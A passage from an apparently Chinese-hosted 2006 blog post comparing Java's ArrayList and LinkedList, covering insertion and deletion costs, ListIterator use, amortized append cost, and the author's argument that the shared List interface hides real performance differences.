  3. Although both ArrayList and LinkedList allow insertion/deletion in the middle through similar operations (ie; by invoking add(int index) or remove(index)), these operations do not offer you the advantage of O(1) insertion/deletion for a LinkedList. For that, you must work through a ListIterator.

While researching on this topic, I did find a couple of good articles on the Web:


  • JDC Tech Tip article on Using ArrayList/LinkedList. Good coverage of the topic. Worth reading if you want to know more about performance tradeoffs.
  • joustlog entry titled LinkedList vs. ArrayList performance tests and subsequent clarification. This entry is more focussed in scope, pointing out the fact that addition as the end is faster for ArrayList than for LinkedList. The only thing I would like to add is that addition at the end of a LinkedList is always O(1) whereas addition at the end of an ArrayList is amortized O(1), meaning if you do M at-the-end additions then the total cost will be proportional to M. This is due to the fact that the underlying array may have to be grown (a new one to be allocated, old one to be copied and discarded) when the capacity is reached. However, I can understand that a normal at-the-end addition (ie; not involving resizing of the underlying array) will be faster for ArrayList (compared to LinkedList).

I am not advocating either ArrayList or LinkedList, though it can be justifiably argued that the use of ArrayList is better suited in many more programming scenarios, and I have no contention with that. The point I am making is that the sameness of the API makes it easy for programmers to assume that these can be used interchangeably. Nothing can be farther from truth. They are distinct datastructures, each optimized for certain kinds of operations and domain of applicability. And a good programmer should be aware of the distinction. The API exposed by the above mentioned Java classes blur this distinction. In my opinion, this is one of those areas where implementation hiding behind a common, easy-to-use interface (think of List interface that both ArrayList and LinkedList implement) may not be in the best interest of the primary user of these classes.

posted @ 2006-11-29 00:05 小苏 阅读(387) | 评论 (0)编辑 收藏

仅列出标题  下一页